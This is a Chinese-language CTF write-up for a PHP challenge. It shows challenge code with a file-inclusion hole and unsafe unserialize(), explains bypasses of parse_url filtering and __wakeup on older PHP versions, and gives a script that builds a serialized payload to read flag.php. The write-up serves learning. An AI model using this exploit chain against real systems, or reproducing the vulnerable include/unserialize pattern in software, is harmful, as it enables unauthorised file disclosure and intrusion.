虽然本蒟蒻只写出了这一道题,但毕竟是我第一个写出的比赛题(虽然有大佬帮助才写出来的)。写写wp总结一下吧。
源码
由于环境已经没有了,就简单说一下源码怎么来的吧。
题目中有提示:
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
于是想到 PHP伪协议,得到源码如下:
hint.php源码
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
index.php源码
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
分析
拿到源码看一眼就知道这个是反序列化漏洞。通过反序列化来调用Handle
的 __destruct
函数,然后getflag。剩下的就是找到过滤了哪些东西,然后怎么绕过去。
仔细观察源码,可以看到这里有三个地方需要绕过:
- 通过
parse_url
来获取payload的值,然后过滤flag字符; - Handle的
__wakeup
函数会清空 handle 变量; - Flag 对象里面的 token_flag 在
get_flag
函数里面会被赋值为一个随机数的 MD5 值,而 flag 和 token_flag 相等才会输出flag。
那么来看看怎么绕过。
parse_url
在 PHP5.4.7 之前有一个漏洞:只要在URL前面加上两个//
就会使其返回 False。具体参考这里- 这里可以利用反序列化注入漏洞绕过。在 PHP5 < 5.6.25 PHP7 < 7.0.10 的情况下,反序列化传入字符串中声明的变量个数与实际不符合的话,
__wakeup
就会被绕过。具体可以参考这里 - 这个地方有两种方法可以过。最简单的当然是暴力啦~只要你够欧,一次就绕过(雾)。好吧这里应该是让 token 等于 token_flag 的引用。这样两个就肯定相等啦。
Payload
绕过点都分析了,那么就是实际操作了:
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$a = new Flag('flag.php');
$a->token = &$a->token_flag;
$b = new Handle($a);
$c = urldecode(serialize($b));
echo $c;
得到序列化后的Payload,再通过上面的绕过方法,就可以成功 get flag 了。